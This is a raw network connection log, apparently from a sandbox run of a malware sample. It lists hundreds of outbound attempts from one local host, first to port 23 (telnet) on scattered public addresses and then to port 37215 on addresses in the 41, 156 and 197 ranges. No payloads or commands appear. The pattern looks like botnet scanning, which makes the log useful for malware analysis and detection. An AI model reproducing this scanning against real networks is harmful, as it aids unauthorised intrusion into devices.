Dec 3, 2024 21:47:23.081720114 CET	40955	23	192.168.2.13	133.161.57.18
Dec 3, 2024 21:47:23.081715107 CET	40955	23	192.168.2.13	165.244.174.187
Dec 3, 2024 21:47:23.081715107 CET	40955	23	192.168.2.13	62.178.156.187
Dec 3, 2024 21:47:23.081728935 CET	40955	23	192.168.2.13	153.196.50.120
Dec 3, 2024 21:47:23.081728935 CET	40955	23	192.168.2.13	192.191.232.45
Dec 3, 2024 21:47:23.081732035 CET	40955	23	192.168.2.13	121.142.191.209
Dec 3, 2024 21:47:23.081732035 CET	40955	23	192.168.2.13	62.168.155.48
Dec 3, 2024 21:47:23.081732035 CET	40955	23	192.168.2.13	76.74.47.151
Dec 3, 2024 21:47:23.081732035 CET	40955	23	192.168.2.13	146.207.171.112
Dec 3, 2024 21:47:23.081734896 CET	40955	23	192.168.2.13	105.106.158.251
Dec 3, 2024 21:47:23.081734896 CET	40955	23	192.168.2.13	212.15.19.106
Dec 3, 2024 21:47:23.081737041 CET	40955	23	192.168.2.13	95.213.190.186
Dec 3, 2024 21:47:23.081737995 CET	40955	23	192.168.2.13	133.104.124.144
Dec 3, 2024 21:47:23.081737995 CET	40955	23	192.168.2.13	223.249.181.108
Dec 3, 2024 21:47:23.081737041 CET	40955	23	192.168.2.13	216.17.162.67
Dec 3, 2024 21:47:23.081737041 CET	40955	23	192.168.2.13	32.46.148.112
Dec 3, 2024 21:47:23.081737041 CET	40955	23	192.168.2.13	135.206.168.190
Dec 3, 2024 21:47:23.081737041 CET	40955	23	192.168.2.13	67.50.190.177
Dec 3, 2024 21:47:23.081748009 CET	40955	23	192.168.2.13	79.123.88.179
Dec 3, 2024 21:47:23.081748009 CET	40955	23	192.168.2.13	50.92.29.158
Dec 3, 2024 21:47:23.081748962 CET	40955	23	192.168.2.13	8.151.134.150
Dec 3, 2024 21:47:23.081753969 CET	40955	23	192.168.2.13	147.178.193.24
Dec 3, 2024 21:47:23.081754923 CET	40955	23	192.168.2.13	43.70.204.19
Dec 3, 2024 21:47:23.081762075 CET	40955	23	192.168.2.13	168.109.20.38
Dec 3, 2024 21:47:23.081764936 CET	40955	23	192.168.2.13	27.229.185.48
Dec 3, 2024 21:47:23.081767082 CET	40955	23	192.168.2.13	193.34.170.117
Dec 3, 2024 21:47:23.081768036 CET	40955	23	192.168.2.13	148.152.104.99
Dec 3, 2024 21:47:23.081779003 CET	40955	23	192.168.2.13	67.10.167.4
Dec 3, 2024 21:47:23.081783056 CET	40955	23	192.168.2.13	216.3.190.142
Dec 3, 2024 21:47:23.081789017 CET	40955	23	192.168.2.13	189.179.173.21
Dec 3, 2024 21:47:23.081789017 CET	40955	23	192.168.2.13	145.241.23.147
Dec 3, 2024 21:47:23.081789970 CET	40955	23	192.168.2.13	66.229.81.110
Dec 3, 2024 21:47:23.081794024 CET	40955	23	192.168.2.13	93.9.12.71
Dec 3, 2024 21:47:23.081794024 CET	40955	23	192.168.2.13	82.80.220.194
Dec 3, 2024 21:47:23.081796885 CET	40955	23	192.168.2.13	58.202.181.242
Dec 3, 2024 21:47:23.081805944 CET	40955	23	192.168.2.13	41.142.49.81
Dec 3, 2024 21:47:23.081806898 CET	40955	23	192.168.2.13	156.213.162.123
Dec 3, 2024 21:47:23.081806898 CET	40955	23	192.168.2.13	170.245.120.52
Dec 3, 2024 21:47:23.081818104 CET	40955	23	192.168.2.13	178.238.125.224
Dec 3, 2024 21:47:23.081823111 CET	40955	23	192.168.2.13	52.124.222.5
Dec 3, 2024 21:47:23.081830978 CET	40955	23	192.168.2.13	175.235.15.196
Dec 3, 2024 21:47:23.081832886 CET	40955	23	192.168.2.13	40.235.77.113
Dec 3, 2024 21:47:23.081835985 CET	40955	23	192.168.2.13	49.100.44.155
Dec 3, 2024 21:47:23.081839085 CET	40955	23	192.168.2.13	54.32.133.159
Dec 3, 2024 21:47:23.081839085 CET	40955	23	192.168.2.13	13.12.21.200
Dec 3, 2024 21:47:23.081841946 CET	40955	23	192.168.2.13	131.97.119.238
Dec 3, 2024 21:47:23.082446098 CET	42232	23	192.168.2.13	71.224.250.219
Dec 3, 2024 21:47:23.083080053 CET	59582	23	192.168.2.13	148.8.165.54
Dec 3, 2024 21:47:23.083714008 CET	51818	23	192.168.2.13	122.63.57.60
Dec 3, 2024 21:47:23.084522009 CET	40360	23	192.168.2.13	156.161.176.194
Dec 3, 2024 21:47:23.085202932 CET	55430	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:23.085784912 CET	53512	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:23.086357117 CET	44388	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:23.086981058 CET	41672	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:23.087559938 CET	37728	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:23.088145018 CET	40556	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:23.088757038 CET	47052	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:23.089468002 CET	52100	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:23.090193987 CET	34256	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:23.090759039 CET	60100	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:23.091337919 CET	45062	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:23.091892958 CET	36578	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:23.092469931 CET	38310	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:23.093020916 CET	34630	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:23.093580008 CET	59154	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:23.094137907 CET	46922	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:23.094716072 CET	54344	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:23.095268011 CET	45316	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:23.095835924 CET	49952	23	192.168.2.13	14.100.79.120
Dec 3, 2024 21:47:23.096379995 CET	52236	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:23.096955061 CET	56218	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:23.097259998 CET	34043	37215	192.168.2.13	41.59.45.127
Dec 3, 2024 21:47:23.097265005 CET	34043	37215	192.168.2.13	197.239.20.73
Dec 3, 2024 21:47:23.097270012 CET	34043	37215	192.168.2.13	197.108.250.221
Dec 3, 2024 21:47:23.097274065 CET	34043	37215	192.168.2.13	197.106.162.99
Dec 3, 2024 21:47:23.097275019 CET	34043	37215	192.168.2.13	41.96.39.93
Dec 3, 2024 21:47:23.097274065 CET	34043	37215	192.168.2.13	156.56.253.89
Dec 3, 2024 21:47:23.097284079 CET	34043	37215	192.168.2.13	197.59.63.218
Dec 3, 2024 21:47:23.097289085 CET	34043	37215	192.168.2.13	197.131.221.162
Dec 3, 2024 21:47:23.097290039 CET	34043	37215	192.168.2.13	41.53.102.185
Dec 3, 2024 21:47:23.097290039 CET	34043	37215	192.168.2.13	41.125.44.169
Dec 3, 2024 21:47:23.097291946 CET	34043	37215	192.168.2.13	41.119.248.87
Dec 3, 2024 21:47:23.097306013 CET	34043	37215	192.168.2.13	41.34.242.216
Dec 3, 2024 21:47:23.097313881 CET	34043	37215	192.168.2.13	156.237.149.71
Dec 3, 2024 21:47:23.097316027 CET	34043	37215	192.168.2.13	156.219.168.115
Dec 3, 2024 21:47:23.097326994 CET	34043	37215	192.168.2.13	41.188.225.83
Dec 3, 2024 21:47:23.097331047 CET	34043	37215	192.168.2.13	156.45.21.94
Dec 3, 2024 21:47:23.097336054 CET	34043	37215	192.168.2.13	156.239.0.124
Dec 3, 2024 21:47:23.097343922 CET	34043	37215	192.168.2.13	41.180.51.250
Dec 3, 2024 21:47:23.097357988 CET	34043	37215	192.168.2.13	41.251.115.251
Dec 3, 2024 21:47:23.097362995 CET	34043	37215	192.168.2.13	197.82.208.104
Dec 3, 2024 21:47:23.097372055 CET	34043	37215	192.168.2.13	156.231.139.9
Dec 3, 2024 21:47:23.097374916 CET	34043	37215	192.168.2.13	156.128.203.205
Dec 3, 2024 21:47:23.097383976 CET	34043	37215	192.168.2.13	197.76.240.246
Dec 3, 2024 21:47:23.097390890 CET	34043	37215	192.168.2.13	41.182.149.74
Dec 3, 2024 21:47:23.097398043 CET	34043	37215	192.168.2.13	197.58.203.49
Dec 3, 2024 21:47:23.097398043 CET	34043	37215	192.168.2.13	41.102.21.127
Dec 3, 2024 21:47:23.097408056 CET	34043	37215	192.168.2.13	41.162.48.225
Dec 3, 2024 21:47:23.097417116 CET	34043	37215	192.168.2.13	156.35.180.50
Dec 3, 2024 21:47:23.097419977 CET	34043	37215	192.168.2.13	41.75.245.105
Dec 3, 2024 21:47:23.097434998 CET	34043	37215	192.168.2.13	156.235.20.90
Dec 3, 2024 21:47:23.097435951 CET	34043	37215	192.168.2.13	197.85.29.183
Dec 3, 2024 21:47:23.097441912 CET	34043	37215	192.168.2.13	41.4.104.166
Dec 3, 2024 21:47:23.097441912 CET	34043	37215	192.168.2.13	197.108.106.189
Dec 3, 2024 21:47:23.097450018 CET	34043	37215	192.168.2.13	41.175.100.85
Dec 3, 2024 21:47:23.097450018 CET	34043	37215	192.168.2.13	197.119.52.87
Dec 3, 2024 21:47:23.097460032 CET	34043	37215	192.168.2.13	41.176.157.215
Dec 3, 2024 21:47:23.097466946 CET	34043	37215	192.168.2.13	156.0.254.2
Dec 3, 2024 21:47:23.097469091 CET	34043	37215	192.168.2.13	156.109.125.6
Dec 3, 2024 21:47:23.097479105 CET	34043	37215	192.168.2.13	156.231.155.47
Dec 3, 2024 21:47:23.097481966 CET	34043	37215	192.168.2.13	156.247.106.33
Dec 3, 2024 21:47:23.097496986 CET	34043	37215	192.168.2.13	41.133.123.44
Dec 3, 2024 21:47:23.097498894 CET	34043	37215	192.168.2.13	41.11.109.158
Dec 3, 2024 21:47:23.097507000 CET	34043	37215	192.168.2.13	41.163.249.19
Dec 3, 2024 21:47:23.097507000 CET	34043	37215	192.168.2.13	41.20.8.7
Dec 3, 2024 21:47:23.097517967 CET	34043	37215	192.168.2.13	156.18.98.247
Dec 3, 2024 21:47:23.097536087 CET	34043	37215	192.168.2.13	41.95.124.53
Dec 3, 2024 21:47:23.097537041 CET	34043	37215	192.168.2.13	41.57.249.80
Dec 3, 2024 21:47:23.097537994 CET	34043	37215	192.168.2.13	41.220.143.157
Dec 3, 2024 21:47:23.097539902 CET	34043	37215	192.168.2.13	156.41.103.8
Dec 3, 2024 21:47:23.097543955 CET	34043	37215	192.168.2.13	41.213.100.161
Dec 3, 2024 21:47:23.097553015 CET	34043	37215	192.168.2.13	41.133.143.174
Dec 3, 2024 21:47:23.097553968 CET	34043	37215	192.168.2.13	41.5.177.124
Dec 3, 2024 21:47:23.097565889 CET	34043	37215	192.168.2.13	197.37.246.188
Dec 3, 2024 21:47:23.097578049 CET	34043	37215	192.168.2.13	156.52.176.31
Dec 3, 2024 21:47:23.097584009 CET	34043	37215	192.168.2.13	41.180.156.104
Dec 3, 2024 21:47:23.097589016 CET	34043	37215	192.168.2.13	41.133.202.10
Dec 3, 2024 21:47:23.097599983 CET	34043	37215	192.168.2.13	41.87.94.36
Dec 3, 2024 21:47:23.097604036 CET	34043	37215	192.168.2.13	41.75.80.91
Dec 3, 2024 21:47:23.097609997 CET	34043	37215	192.168.2.13	197.238.110.171
Dec 3, 2024 21:47:23.097618103 CET	34043	37215	192.168.2.13	41.109.220.214
Dec 3, 2024 21:47:23.097623110 CET	34043	37215	192.168.2.13	41.37.12.187
Dec 3, 2024 21:47:23.097632885 CET	34043	37215	192.168.2.13	41.78.189.21
Dec 3, 2024 21:47:23.097641945 CET	34043	37215	192.168.2.13	41.201.12.150
Dec 3, 2024 21:47:23.097644091 CET	34043	37215	192.168.2.13	41.7.20.243
Dec 3, 2024 21:47:23.097654104 CET	34043	37215	192.168.2.13	197.145.153.94
Dec 3, 2024 21:47:23.097657919 CET	34043	37215	192.168.2.13	197.144.23.111
Dec 3, 2024 21:47:23.097664118 CET	34043	37215	192.168.2.13	41.92.248.182
Dec 3, 2024 21:47:23.097672939 CET	34043	37215	192.168.2.13	41.114.170.3
Dec 3, 2024 21:47:23.097680092 CET	34043	37215	192.168.2.13	197.107.70.35
Dec 3, 2024 21:47:23.097687960 CET	34043	37215	192.168.2.13	156.88.226.144
Dec 3, 2024 21:47:23.097688913 CET	34043	37215	192.168.2.13	156.187.30.210
Dec 3, 2024 21:47:23.097704887 CET	34043	37215	192.168.2.13	197.88.11.133
Dec 3, 2024 21:47:23.097707033 CET	34043	37215	192.168.2.13	156.92.79.203
Dec 3, 2024 21:47:23.097712994 CET	34043	37215	192.168.2.13	156.114.211.102
Dec 3, 2024 21:47:23.097712994 CET	34043	37215	192.168.2.13	197.22.30.11
Dec 3, 2024 21:47:23.097716093 CET	34043	37215	192.168.2.13	156.191.13.237
Dec 3, 2024 21:47:23.097718954 CET	34043	37215	192.168.2.13	41.188.208.88
Dec 3, 2024 21:47:23.097724915 CET	34043	37215	192.168.2.13	156.250.182.204
Dec 3, 2024 21:47:23.097724915 CET	34043	37215	192.168.2.13	156.101.31.79
Dec 3, 2024 21:47:23.097727060 CET	34043	37215	192.168.2.13	197.235.178.228
Dec 3, 2024 21:47:23.097728968 CET	34043	37215	192.168.2.13	156.138.152.135
Dec 3, 2024 21:47:23.097739935 CET	34043	37215	192.168.2.13	197.198.194.61
Dec 3, 2024 21:47:23.097739935 CET	34043	37215	192.168.2.13	41.209.219.171
Dec 3, 2024 21:47:23.097745895 CET	34043	37215	192.168.2.13	197.236.176.54
Dec 3, 2024 21:47:23.097750902 CET	34043	37215	192.168.2.13	197.215.30.49
Dec 3, 2024 21:47:23.097755909 CET	34043	37215	192.168.2.13	41.202.158.201
Dec 3, 2024 21:47:23.097765923 CET	34043	37215	192.168.2.13	197.155.171.135
Dec 3, 2024 21:47:23.097769022 CET	34043	37215	192.168.2.13	41.35.166.19
Dec 3, 2024 21:47:23.097778082 CET	34043	37215	192.168.2.13	41.149.138.17
Dec 3, 2024 21:47:23.097786903 CET	34043	37215	192.168.2.13	156.91.107.127
Dec 3, 2024 21:47:23.097788095 CET	34043	37215	192.168.2.13	197.53.177.128
Dec 3, 2024 21:47:23.097790003 CET	34043	37215	192.168.2.13	41.88.223.97
Dec 3, 2024 21:47:23.097805023 CET	34043	37215	192.168.2.13	41.169.249.47
Dec 3, 2024 21:47:23.097809076 CET	34043	37215	192.168.2.13	197.231.103.139
Dec 3, 2024 21:47:23.097811937 CET	34043	37215	192.168.2.13	197.106.59.159
Dec 3, 2024 21:47:23.097811937 CET	34043	37215	192.168.2.13	41.116.164.59
Dec 3, 2024 21:47:23.097812891 CET	34043	37215	192.168.2.13	156.4.210.234
Dec 3, 2024 21:47:23.097820997 CET	34043	37215	192.168.2.13	41.210.197.250
Dec 3, 2024 21:47:23.097825050 CET	34043	37215	192.168.2.13	197.140.211.36
Dec 3, 2024 21:47:23.097832918 CET	34043	37215	192.168.2.13	41.226.10.105
Dec 3, 2024 21:47:23.097846031 CET	34043	37215	192.168.2.13	41.157.162.27
Dec 3, 2024 21:47:23.097847939 CET	34043	37215	192.168.2.13	41.113.149.35
Dec 3, 2024 21:47:23.097865105 CET	34043	37215	192.168.2.13	197.108.204.225
Dec 3, 2024 21:47:23.097865105 CET	34043	37215	192.168.2.13	156.116.246.100
Dec 3, 2024 21:47:23.097872019 CET	34043	37215	192.168.2.13	41.113.44.42
Dec 3, 2024 21:47:23.097872972 CET	34043	37215	192.168.2.13	41.61.227.127
Dec 3, 2024 21:47:23.097878933 CET	34043	37215	192.168.2.13	197.54.149.252
Dec 3, 2024 21:47:23.097881079 CET	34043	37215	192.168.2.13	156.170.213.228
Dec 3, 2024 21:47:23.097883940 CET	34043	37215	192.168.2.13	197.213.107.69
Dec 3, 2024 21:47:23.097891092 CET	34043	37215	192.168.2.13	41.126.47.21
Dec 3, 2024 21:47:23.097901106 CET	34043	37215	192.168.2.13	156.173.5.215
Dec 3, 2024 21:47:23.097908020 CET	34043	37215	192.168.2.13	197.174.25.160
Dec 3, 2024 21:47:23.097908974 CET	34043	37215	192.168.2.13	197.95.101.190
Dec 3, 2024 21:47:23.097923994 CET	34043	37215	192.168.2.13	41.234.16.200
Dec 3, 2024 21:47:23.097933054 CET	34043	37215	192.168.2.13	156.230.238.122
Dec 3, 2024 21:47:23.097933054 CET	34043	37215	192.168.2.13	156.237.57.21
Dec 3, 2024 21:47:23.097937107 CET	34043	37215	192.168.2.13	156.205.150.199
Dec 3, 2024 21:47:23.097950935 CET	34043	37215	192.168.2.13	41.9.61.15
Dec 3, 2024 21:47:23.097951889 CET	34043	37215	192.168.2.13	41.14.230.232
Dec 3, 2024 21:47:23.097959042 CET	34043	37215	192.168.2.13	41.180.66.237
Dec 3, 2024 21:47:23.097968102 CET	34043	37215	192.168.2.13	156.44.67.96
Dec 3, 2024 21:47:23.097968102 CET	34043	37215	192.168.2.13	197.221.121.16
Dec 3, 2024 21:47:23.097990990 CET	34043	37215	192.168.2.13	41.90.61.155
Dec 3, 2024 21:47:23.097990990 CET	34043	37215	192.168.2.13	41.62.78.53
Dec 3, 2024 21:47:23.097996950 CET	34043	37215	192.168.2.13	197.193.230.170
Dec 3, 2024 21:47:23.097996950 CET	34043	37215	192.168.2.13	41.139.128.35
Dec 3, 2024 21:47:23.098006010 CET	34043	37215	192.168.2.13	197.87.41.147
Dec 3, 2024 21:47:23.098014116 CET	34043	37215	192.168.2.13	197.218.165.0
Dec 3, 2024 21:47:23.098021984 CET	34043	37215	192.168.2.13	197.162.43.18
Dec 3, 2024 21:47:23.098026037 CET	34043	37215	192.168.2.13	156.153.178.249
Dec 3, 2024 21:47:23.098033905 CET	34043	37215	192.168.2.13	197.26.220.73
Dec 3, 2024 21:47:23.098046064 CET	34043	37215	192.168.2.13	197.112.221.188
Dec 3, 2024 21:47:23.098057985 CET	34043	37215	192.168.2.13	41.232.201.89
Dec 3, 2024 21:47:23.098062038 CET	34043	37215	192.168.2.13	156.241.193.161
Dec 3, 2024 21:47:23.098063946 CET	34043	37215	192.168.2.13	41.83.52.58
Dec 3, 2024 21:47:23.098064899 CET	34043	37215	192.168.2.13	197.175.101.57
Dec 3, 2024 21:47:23.098069906 CET	34043	37215	192.168.2.13	156.125.65.81
Dec 3, 2024 21:47:23.098069906 CET	34043	37215	192.168.2.13	197.54.166.206
Dec 3, 2024 21:47:23.098074913 CET	34043	37215	192.168.2.13	41.101.158.59
Dec 3, 2024 21:47:23.098087072 CET	34043	37215	192.168.2.13	41.81.166.53
Dec 3, 2024 21:47:23.098090887 CET	34043	37215	192.168.2.13	197.170.60.163
Dec 3, 2024 21:47:23.098092079 CET	34043	37215	192.168.2.13	41.206.135.69
Dec 3, 2024 21:47:23.098099947 CET	34043	37215	192.168.2.13	197.206.119.76
Dec 3, 2024 21:47:23.098109007 CET	34043	37215	192.168.2.13	41.59.234.53
Dec 3, 2024 21:47:23.098118067 CET	34043	37215	192.168.2.13	156.206.175.22
Dec 3, 2024 21:47:23.098121881 CET	34043	37215	192.168.2.13	41.69.122.92
Dec 3, 2024 21:47:23.098123074 CET	34043	37215	192.168.2.13	197.206.185.47
Dec 3, 2024 21:47:23.098131895 CET	34043	37215	192.168.2.13	156.2.186.173
Dec 3, 2024 21:47:23.098141909 CET	34043	37215	192.168.2.13	156.176.231.102
Dec 3, 2024 21:47:23.098155022 CET	34043	37215	192.168.2.13	156.19.79.74
Dec 3, 2024 21:47:23.098155975 CET	34043	37215	192.168.2.13	41.28.28.196
Dec 3, 2024 21:47:23.098157883 CET	34043	37215	192.168.2.13	156.80.237.172
Dec 3, 2024 21:47:23.098165035 CET	34043	37215	192.168.2.13	156.145.248.211
Dec 3, 2024 21:47:23.098166943 CET	34043	37215	192.168.2.13	41.37.106.198
Dec 3, 2024 21:47:23.098170042 CET	34043	37215	192.168.2.13	41.76.85.248
Dec 3, 2024 21:47:23.098174095 CET	34043	37215	192.168.2.13	156.96.140.103
Dec 3, 2024 21:47:23.098177910 CET	34043	37215	192.168.2.13	41.148.226.3
Dec 3, 2024 21:47:23.098186016 CET	34043	37215	192.168.2.13	41.19.145.61
Dec 3, 2024 21:47:23.098189116 CET	34043	37215	192.168.2.13	41.111.86.217
Dec 3, 2024 21:47:23.098202944 CET	34043	37215	192.168.2.13	197.98.7.168
Dec 3, 2024 21:47:23.098208904 CET	34043	37215	192.168.2.13	41.20.81.61
Dec 3, 2024 21:47:23.098208904 CET	34043	37215	192.168.2.13	156.75.117.103
Dec 3, 2024 21:47:23.098218918 CET	34043	37215	192.168.2.13	156.110.101.46
Dec 3, 2024 21:47:23.098226070 CET	34043	37215	192.168.2.13	41.46.78.129
Dec 3, 2024 21:47:23.098232031 CET	34043	37215	192.168.2.13	41.175.171.1
Dec 3, 2024 21:47:23.098244905 CET	34043	37215	192.168.2.13	41.166.123.192
Dec 3, 2024 21:47:23.098251104 CET	34043	37215	192.168.2.13	197.220.242.91
Dec 3, 2024 21:47:23.098254919 CET	34043	37215	192.168.2.13	156.69.205.248
Dec 3, 2024 21:47:23.098263025 CET	34043	37215	192.168.2.13	197.98.71.244
Dec 3, 2024 21:47:23.098263979 CET	34043	37215	192.168.2.13	41.194.179.126
Dec 3, 2024 21:47:23.098273993 CET	34043	37215	192.168.2.13	156.245.16.68
Dec 3, 2024 21:47:23.098285913 CET	34043	37215	192.168.2.13	41.45.166.102
Dec 3, 2024 21:47:23.098289013 CET	34043	37215	192.168.2.13	197.125.160.129
Dec 3, 2024 21:47:23.098304033 CET	34043	37215	192.168.2.13	197.105.138.185
Dec 3, 2024 21:47:23.098304033 CET	34043	37215	192.168.2.13	41.31.231.99
Dec 3, 2024 21:47:23.098305941 CET	34043	37215	192.168.2.13	41.243.135.180
Dec 3, 2024 21:47:23.098306894 CET	34043	37215	192.168.2.13	197.164.4.16
Dec 3, 2024 21:47:23.098320961 CET	34043	37215	192.168.2.13	156.99.191.68
Dec 3, 2024 21:47:23.098320961 CET	34043	37215	192.168.2.13	156.226.40.143
Dec 3, 2024 21:47:23.098326921 CET	34043	37215	192.168.2.13	41.44.146.26
Dec 3, 2024 21:47:23.098328114 CET	34043	37215	192.168.2.13	41.151.78.71
Dec 3, 2024 21:47:23.098328114 CET	34043	37215	192.168.2.13	197.166.45.69
Dec 3, 2024 21:47:23.098339081 CET	34043	37215	192.168.2.13	41.255.215.60
Dec 3, 2024 21:47:23.098351002 CET	34043	37215	192.168.2.13	197.76.115.100
Dec 3, 2024 21:47:23.098356009 CET	34043	37215	192.168.2.13	41.198.103.9
Dec 3, 2024 21:47:23.098364115 CET	34043	37215	192.168.2.13	156.170.143.54
Dec 3, 2024 21:47:23.098365068 CET	34043	37215	192.168.2.13	197.84.120.54
Dec 3, 2024 21:47:23.098370075 CET	34043	37215	192.168.2.13	197.61.66.235
Dec 3, 2024 21:47:23.098376989 CET	34043	37215	192.168.2.13	41.94.94.245
Dec 3, 2024 21:47:23.098381042 CET	34043	37215	192.168.2.13	156.46.175.23
Dec 3, 2024 21:47:23.098392010 CET	34043	37215	192.168.2.13	156.55.112.159
Dec 3, 2024 21:47:23.098392010 CET	34043	37215	192.168.2.13	41.129.74.203
Dec 3, 2024 21:47:23.098404884 CET	34043	37215	192.168.2.13	41.246.148.210
Dec 3, 2024 21:47:23.098407030 CET	34043	37215	192.168.2.13	197.26.196.237
Dec 3, 2024 21:47:23.098414898 CET	34043	37215	192.168.2.13	197.37.29.138
Dec 3, 2024 21:47:23.098414898 CET	34043	37215	192.168.2.13	41.174.226.219
Dec 3, 2024 21:47:23.098431110 CET	34043	37215	192.168.2.13	156.117.233.57
Dec 3, 2024 21:47:23.098434925 CET	34043	37215	192.168.2.13	156.77.107.66
Dec 3, 2024 21:47:23.098439932 CET	34043	37215	192.168.2.13	197.232.185.181
Dec 3, 2024 21:47:23.098440886 CET	34043	37215	192.168.2.13	41.127.143.103
Dec 3, 2024 21:47:23.098443031 CET	34043	37215	192.168.2.13	156.76.57.164
Dec 3, 2024 21:47:23.098444939 CET	34043	37215	192.168.2.13	156.191.71.66
Dec 3, 2024 21:47:23.098445892 CET	34043	37215	192.168.2.13	197.56.115.5
Dec 3, 2024 21:47:23.098445892 CET	34043	37215	192.168.2.13	41.5.13.67
Dec 3, 2024 21:47:23.098447084 CET	34043	37215	192.168.2.13	197.205.111.123
Dec 3, 2024 21:47:23.098454952 CET	34043	37215	192.168.2.13	41.200.144.5
Dec 3, 2024 21:47:23.098454952 CET	34043	37215	192.168.2.13	156.93.244.108
Dec 3, 2024 21:47:23.098468065 CET	34043	37215	192.168.2.13	197.74.3.126
Dec 3, 2024 21:47:23.098469973 CET	34043	37215	192.168.2.13	156.53.132.102
Dec 3, 2024 21:47:23.098479033 CET	34043	37215	192.168.2.13	156.12.178.103
Dec 3, 2024 21:47:23.098483086 CET	34043	37215	192.168.2.13	41.150.137.97
Dec 3, 2024 21:47:23.098491907 CET	34043	37215	192.168.2.13	41.88.242.29
Dec 3, 2024 21:47:23.098494053 CET	34043	37215	192.168.2.13	197.188.31.206
Dec 3, 2024 21:47:23.098498106 CET	34043	37215	192.168.2.13	197.7.182.158
Dec 3, 2024 21:47:23.098504066 CET	34043	37215	192.168.2.13	197.132.207.33
Dec 3, 2024 21:47:23.098509073 CET	34043	37215	192.168.2.13	156.8.89.197
Dec 3, 2024 21:47:23.098520041 CET	34043	37215	192.168.2.13	197.201.106.209
Dec 3, 2024 21:47:23.098520041 CET	34043	37215	192.168.2.13	156.119.169.73
Dec 3, 2024 21:47:23.098536015 CET	34043	37215	192.168.2.13	197.50.178.140
Dec 3, 2024 21:47:23.098536968 CET	34043	37215	192.168.2.13	156.196.6.191
Dec 3, 2024 21:47:23.098545074 CET	34043	37215	192.168.2.13	197.36.46.188
Dec 3, 2024 21:47:23.098548889 CET	34043	37215	192.168.2.13	156.99.131.88
Dec 3, 2024 21:47:23.098551989 CET	34043	37215	192.168.2.13	156.161.125.162
Dec 3, 2024 21:47:23.098565102 CET	34043	37215	192.168.2.13	197.248.238.98
Dec 3, 2024 21:47:23.098570108 CET	34043	37215	192.168.2.13	197.141.172.65
Dec 3, 2024 21:47:23.098577023 CET	34043	37215	192.168.2.13	41.151.128.120
Dec 3, 2024 21:47:23.098586082 CET	34043	37215	192.168.2.13	156.170.77.197
Dec 3, 2024 21:47:23.098592043 CET	34043	37215	192.168.2.13	41.210.234.115
Dec 3, 2024 21:47:23.098598003 CET	34043	37215	192.168.2.13	156.43.72.109
Dec 3, 2024 21:47:23.098607063 CET	34043	37215	192.168.2.13	156.186.38.35
Dec 3, 2024 21:47:23.098613024 CET	34043	37215	192.168.2.13	41.122.238.41
Dec 3, 2024 21:47:23.098615885 CET	34043	37215	192.168.2.13	41.162.229.91
Dec 3, 2024 21:47:23.098623037 CET	34043	37215	192.168.2.13	156.195.231.60
Dec 3, 2024 21:47:23.098637104 CET	34043	37215	192.168.2.13	156.134.195.105
Dec 3, 2024 21:47:23.098639965 CET	34043	37215	192.168.2.13	41.7.148.156
Dec 3, 2024 21:47:23.098649025 CET	34043	37215	192.168.2.13	41.77.198.164
Dec 3, 2024 21:47:23.098655939 CET	34043	37215	192.168.2.13	197.135.104.69
Dec 3, 2024 21:47:23.098664999 CET	34043	37215	192.168.2.13	41.79.85.53
Dec 3, 2024 21:47:23.098668098 CET	34043	37215	192.168.2.13	197.18.126.108
Dec 3, 2024 21:47:23.098674059 CET	34043	37215	192.168.2.13	197.23.89.35
Dec 3, 2024 21:47:23.098676920 CET	34043	37215	192.168.2.13	41.11.155.210
Dec 3, 2024 21:47:23.098685026 CET	34043	37215	192.168.2.13	197.20.191.149
Dec 3, 2024 21:47:23.098699093 CET	34043	37215	192.168.2.13	197.164.230.71
Dec 3, 2024 21:47:23.098699093 CET	34043	37215	192.168.2.13	41.133.126.8
Dec 3, 2024 21:47:23.098704100 CET	34043	37215	192.168.2.13	156.48.188.123
Dec 3, 2024 21:47:23.098707914 CET	34043	37215	192.168.2.13	156.115.135.12
Dec 3, 2024 21:47:23.098711014 CET	34043	37215	192.168.2.13	156.0.162.144
Dec 3, 2024 21:47:23.098722935 CET	34043	37215	192.168.2.13	156.81.241.121
Dec 3, 2024 21:47:23.098723888 CET	34043	37215	192.168.2.13	41.59.159.112
Dec 3, 2024 21:47:23.098733902 CET	34043	37215	192.168.2.13	156.35.137.32
Dec 3, 2024 21:47:23.098740101 CET	34043	37215	192.168.2.13	197.84.80.49
Dec 3, 2024 21:47:23.098745108 CET	34043	37215	192.168.2.13	41.49.102.222
Dec 3, 2024 21:47:23.098758936 CET	34043	37215	192.168.2.13	197.129.128.98
Dec 3, 2024 21:47:23.098758936 CET	34043	37215	192.168.2.13	197.106.1.86
Dec 3, 2024 21:47:23.098771095 CET	34043	37215	192.168.2.13	156.226.115.253
Dec 3, 2024 21:47:23.098771095 CET	34043	37215	192.168.2.13	156.242.50.233
Dec 3, 2024 21:47:23.098772049 CET	34043	37215	192.168.2.13	41.196.50.239
Dec 3, 2024 21:47:23.098788023 CET	34043	37215	192.168.2.13	41.167.152.166
Dec 3, 2024 21:47:23.098788977 CET	34043	37215	192.168.2.13	156.117.160.228
Dec 3, 2024 21:47:23.098802090 CET	34043	37215	192.168.2.13	41.236.133.20
Dec 3, 2024 21:47:23.098804951 CET	34043	37215	192.168.2.13	197.228.224.44
Dec 3, 2024 21:47:23.098819971 CET	34043	37215	192.168.2.13	41.150.161.203
Dec 3, 2024 21:47:23.098819971 CET	34043	37215	192.168.2.13	41.197.125.144
